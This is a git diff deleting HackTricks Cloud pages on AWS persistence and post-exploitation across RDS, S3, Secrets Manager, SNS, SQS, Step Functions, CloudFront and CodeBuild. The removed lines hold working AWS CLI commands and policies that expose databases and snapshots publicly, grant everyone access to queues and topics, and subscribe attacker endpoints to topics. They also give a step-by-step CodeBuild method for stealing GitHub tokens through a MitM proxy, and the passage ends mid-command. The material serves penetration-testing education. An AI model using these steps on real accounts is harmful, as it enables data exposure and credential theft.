-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## RDS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
-[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
-{% endcontent-ref %}
-
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
-
-{% code overflow="wrap" %}
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-{% endcode %}
-
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
-
-{% code overflow="wrap" %}
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index c821dbd6a..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - S3 Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## S3
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-s3-athena-and-glacier-enum.md" %}
-[aws-s3-athena-and-glacier-enum.md](../aws-services/aws-s3-athena-and-glacier-enum.md)
-{% endcontent-ref %}
-
-### KMS Client-Side Encryption
-
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
-
-
-
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
-
-### Using S3 ACLs
-
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index 9349605bc..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# AWS - Secrets Manager Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Secrets Manager
-
-For more info check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### Via Resource Policies
-
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
-
-### Via Secrets Rotate Lambda
-
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
-
-```python
-import boto3
-
-def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
-
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
-
- # Example: Generate a new password
- new_secret_value = generate_password()
-
- return new_secret_value
-
-def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index cb0b70d82..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# AWS - SNS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SNS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
-
-### Persistence
-
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
-```json
-{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
-}
-```
-
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
-
-```bash
-aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index 88c12a549..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SQS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SQS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
-
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
-
-```json
-{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SQS:*"
- ],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
-}
-```
-
-{% hint style="info" %}
-You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index 0c7b2c9e4..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - Step Functions Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Step Functions
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
-[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
-{% endcontent-ref %}
-
-### Step function Backdooring
-
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
-
-### Backdooring aliases
-
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 8a7a800b7..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## CloudFront
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-cloudfront-enum.md" %}
-[aws-cloudfront-enum.md](../aws-services/aws-cloudfront-enum.md)
-{% endcontent-ref %}
-
-### Man-in-the-Middle
-
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
-
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
-
-* **Create** the malicious **function**.
-* **Associate** it with the CloudFront distribution.
-* Set the **event type to "Viewer Response"**.
-
-Accessing the response you could steal the users cookie and inject a malicious JS.
-
-#### scenario 2: MitM where CloudFront is already using a lambda function
-
-* **Modify the code** of the lambda function to steal sensitive information
-
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
deleted file mode 100644
index d0db82e8c..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ /dev/null
@@ -1,111 +0,0 @@
-# AWS - CodeBuild Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## CodeBuild
-
-For more information, check:
-
-{% content-ref url="../../aws-services/aws-codebuild-enum.md" %}
-[aws-codebuild-enum.md](../../aws-services/aws-codebuild-enum.md)
-{% endcontent-ref %}
-
-### Check Secrets
-
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
-
-{% content-ref url="../../aws-privilege-escalation/aws-secrets-manager-privesc.md" %}
-[aws-secrets-manager-privesc.md](../../aws-privilege-escalation/aws-secrets-manager-privesc.md)
-{% endcontent-ref %}
-
-### Abuse CodeBuild Repo Access
-
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
-
-
-
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
-
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
-
-
-
-And **change the Buildspec commands to exfiltrate each repo**.
-
-{% hint style="warning" %}
-However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-Or does he? Check the next section
-{% endhint %}
-
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
-
-```bash
-aws codebuild list-source-credentials
-```
-
-{% content-ref url="aws-codebuild-token-leakage.md" %}
-[aws-codebuild-token-leakage.md](aws-codebuild-token-leakage.md)
-{% endcontent-ref %}
-
-### `codebuild:DeleteProject`
-
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
-```bash
-aws codebuild delete-project --name
-```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
-
-### `codebuild:TagResource` , `codebuild:UntagResource`
-
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
-```bash
-aws codebuild tag-resource --resource-arn --tags
-aws codebuild untag-resource --resource-arn --tag-keys
-```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
-
-### `codebuild:DeleteSourceCredentials`
-
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
-```sql
-aws codebuild delete-source-credentials --arn
-```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
deleted file mode 100644
index 51a05bbb1..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ /dev/null
@@ -1,222 +0,0 @@
-# AWS Codebuild - Token Leakage
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
-
-```bash
-aws codebuild list-source-credentials
-```
-
-### Via Docker Image
-
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
-
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
-
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
-
-1. **Create & Upload your own Docker MitM image**
- * Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- * **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- * You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- * Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- * Create a **new Codebuild project** or **modify** the environment of an existing one.
- * Set the project to use the **previously generated Docker image**
-
-
-
-3. **Set the MitM proxy in your host**
-
-* As indicated in the **Github repo** you could use something like:
-
-```bash
-mitmproxy --listen-port 4444 --allow-hosts "github.com"
-```
-
-{% hint style="success" %}
-The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
-{% endhint %}
-
-4. **Run the build & capture the credentials**
-
-* You can see the token in the **Authorization** header:
-
-
-
-This could also be done from the aws cli with something like
-
-{% code overflow="wrap" %}
-```bash
-# Create project using a Github connection
-aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
-
-## With /tmp/buildspec.json
-{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
-}
-
-## Json
-
-# Start the build
-aws codebuild start-build --project-name my-project2
-```
-{% endcode %}
-
-### Via insecureSSL
-
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-* First you need to enumerate the current configuration with something like:
-
-```bash
-aws codebuild batch-get-projects --name
-```
-
-* Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- * Moreover, add also the env variables **http\_proxy** and **https\_proxy** pointing to your tcp ngrok like:
-
-{% code overflow="wrap" %}
-```bash
-aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
